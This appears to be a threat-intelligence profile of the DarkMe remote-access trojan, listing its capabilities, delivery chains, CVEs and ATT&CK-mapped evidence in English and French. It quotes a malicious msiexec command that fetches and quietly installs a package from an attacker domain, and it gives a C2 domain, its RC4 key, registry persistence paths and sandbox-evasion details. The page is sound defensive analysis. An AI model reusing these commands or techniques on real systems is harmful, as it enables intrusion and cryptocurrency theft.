Loading malware…
DarkMe is a Windows remote-access trojan and spyware family implemented in Visual Basic 6, with documented activity dating to 2021. It is associated with financially motivated Water Hydra, also known as DarkCasino. Early campaigns were attributed to Evilnum, although Water Hydra was subsequently identified as a distinct threat group. DarkMe has been deployed against financial-market traders, cryptocurrency users, and online gambling operators and customers; later phishing incidents also affected corporate environments.
DarkMe communicates with attacker-controlled infrastructure over a custom TCP protocol. Its capabilities include arbitrary command execution, drive and directory enumeration, file reading and writing, copying, renaming and deletion, archive creation, screenshot capture, self-updating, and registry-based persistence. It collects host information such as geographic identifiers, computer and user names, installed antivirus products, and foreground window titles. Some versions support keylogging, and later payloads steal cryptocurrency-wallet data.
Distribution has included trading-themed spearphishing on forex forums and stock-trading Telegram channels, deceptive landing pages, malicious archives, and executable files disguised as images or documents. Campaigns exploited the WinRAR vulnerability CVE-2023-38831 and the Microsoft Defender SmartScreen bypass CVE-2024-21412 before their disclosure. Other infection chains have used image steganography, DLL sideloading, process injection, and COM-based execution through legitimate Windows utilities.
A 2026 phishing campaign used image-themed email links to deliver disguised PIF executables, which retrieved Windows Installer packages and initiated a multistage, obfuscated VB6 loader chain without vulnerability exploitation. The loaders checked for hundreds of common applications to distinguish actively used endpoints from analysis environments, established registry-based persistence through a custom URI handler, and used process hollowing to execute DarkMe inside a legitimate Microsoft-signed process. Water Hydra's involvement in these later incidents was not confirmed.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
In this attack chain, the threat actor leveraged CVE-2024-21412 to bypass Microsoft Defender SmartScreen and infect victims with the DarkMe malware.
DarkMe – a malware used by Evilnum APT – began exploiting this vulnerability in July 2023.
DarkMe is distributed through phishing emails linking to a disguised .pif executable. The infection chain performs application-based sandbox checks, establishes registry persistence, profiles the system, uses process hollowing, and deploys a Visual Basic 6 RAT and infostealer targeting crypto-wallets and screenshots.
44 distinct techniques documented for this family, organized by ATT&CK tactic.
MITRE ATT&CK T1583.003 — Virtual Private Server (PFCLOUD, ThinkHuge, OMEGATECH)
MITRE ATT&CK T1588.004 — Digital Certificates (fake Microsoft Publisher certs)
Attackers did not use exploits and instead relied on social engineering, convincing victims to execute a `.pif` file delivered through email.
Water Hydra deployed a spearphishing campaign (T1566.002) on forex trading forums and stock trading Telegram channels.
MITRE ATT&CK T1053.005 — Scheduled Task
“The execution started a chain of additional downloads and executions, script running, deployment of components...”
The Sentinel variant is delivered via a 779KB PowerShell wrapper ( sentinel.ps1 ) that: Requests admin elevation via UAC prompt Decompresses a GZip-compressed .NET PE from an embedded byte array Writes to SubDir\Sys.exe and registers as "Runtime Broker" in HKCU\Run
“SHLEXE (execute shell command)”
“the installer executes prnfig.wsf”
MITRE ATT&CK T1059.007 — JavaScript (sysupdate.js)
When a victim double-clicks on the PDF, the vulnerability will quietly launch a script in the folder to install malware on the device.
"... abused this bypass flaw to trick financial traders into ultimately infecting their PCs ... seeded in forex trading forums and stock trading Telegram channels."
Le serveur délivre un fichier image.pif déguisé en image; l’extension .pif est exécutée directement par Windows.
Coconout.dll est un loader COM stage 1, instancié par CLSID via rundll32.exe /sta.
MITRE ATT&CK T1053.005 — Scheduled Task
Enregistrement d’un handler de protocole personnalisé Locked:// sous HKCU\Software\Classes\Locked\shell\open\command.
“Locked:// is a custom URL-protocol handler the malware registers under HKCU\Software\Classes\Locked\shell\open\command.”
Clé Run : explorer.exe "Locked://Newest".
MITRE ATT&CK T1053.005 — Scheduled Task
“Only then does it inject the final payload into clspack.exe, a legitimate, digitally signed Microsoft program”
Finalized.dll déchiffre le payload company.cer et effectue le process hollowing dans clspack.exe.
“Locked:// is a custom URL-protocol handler the malware registers under HKCU\Software\Classes\Locked\shell\open\command.”
Clé Run : explorer.exe "Locked://Newest".
Finalized.dll déchiffre le payload company.cer; la routine RC4 cassée dégénère en XOR single-byte 0x02 après 7 octets.
“The link supposedly points to a PNG file, but clicking on it triggers the download of image.pif, a Windows executable.”
image.pif est déguisé en image; le MSI utilise le nom de couverture « PrinterFind Softwares »; clspack.exe est un binaire Microsoft légitime copié dans %AppData%\Microsoft\.
“Only then does it inject the final payload into clspack.exe, a legitimate, digitally signed Microsoft program”
Finalized.dll déchiffre le payload company.cer et effectue le process hollowing dans clspack.exe.
Finalized.dll déchiffre le payload company.cer.
MITRE ATT&CK T1218.005 — Mshta (OneDriveSync.hta, COM scriptlet)
Le .pif invoque msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart.
Le script lance rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}.
Use.dll contient une gate anti-sandbox de 329 applications; si aucune n’est trouvée, l’exécution s’arrête.
“It then sleeps 1.5 seconds and runs...”
Enregistrement d’un handler de protocole personnalisé Locked:// sous HKCU\Software\Classes\Locked\shell\open\command.
“DarkMe, a Visual Basic 6 RAT and infostealer that goes after crypto-wallets.”
“Cryptocurrency wallet theft (MetaMask, Ledger, Exodus, Trezor, Phantom)”
T1012 — Query Registry (Discovery) est identifié dans les TTPs de la campagne.
Use.dll recherche 329 applications et Finalized.dll profile le système.
“Then comes... the profiling of the system.”
“STRFLS (enumerate a directory)”
Use.dll contient une gate anti-sandbox de 329 applications; si aucune n’est trouvée, l’exécution s’arrête.
“It then sleeps 1.5 seconds and runs...”
DarkMe énumère les antivirus via WMI : SELECT * FROM AntivirusProduct.
Capacités confirmées : vol de wallets crypto MetaMask, Ledger, Exodus, Trezor et Phantom.
Capacités du RAT DarkMe confirmées : capture d’écran via GDI+.
“ZIPALO (‘zip it’)”
Le MSI est téléchargé depuis https://onlineview365[.]com/propi.msi; les domaines de livraison servent également image.pif.
“The execution started a chain of additional downloads and executions.”
“DarkMe does not store its C2 in the clear; the domain is RC4-encrypted ... decrypted at runtime with a hardcoded key.”
Le domaine C2 thatawful[.]boutique est déchiffré par RC4 avec la clé onlywayhere23!$$#@!!35@!12.
DarkMe permet la manipulation de fichiers et l’exécution de commandes via un canal TCP custom (wsock32).
MITRE ATT&CK T1567 — Exfiltration Over Web Service (GitHub payload hosting)
105 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.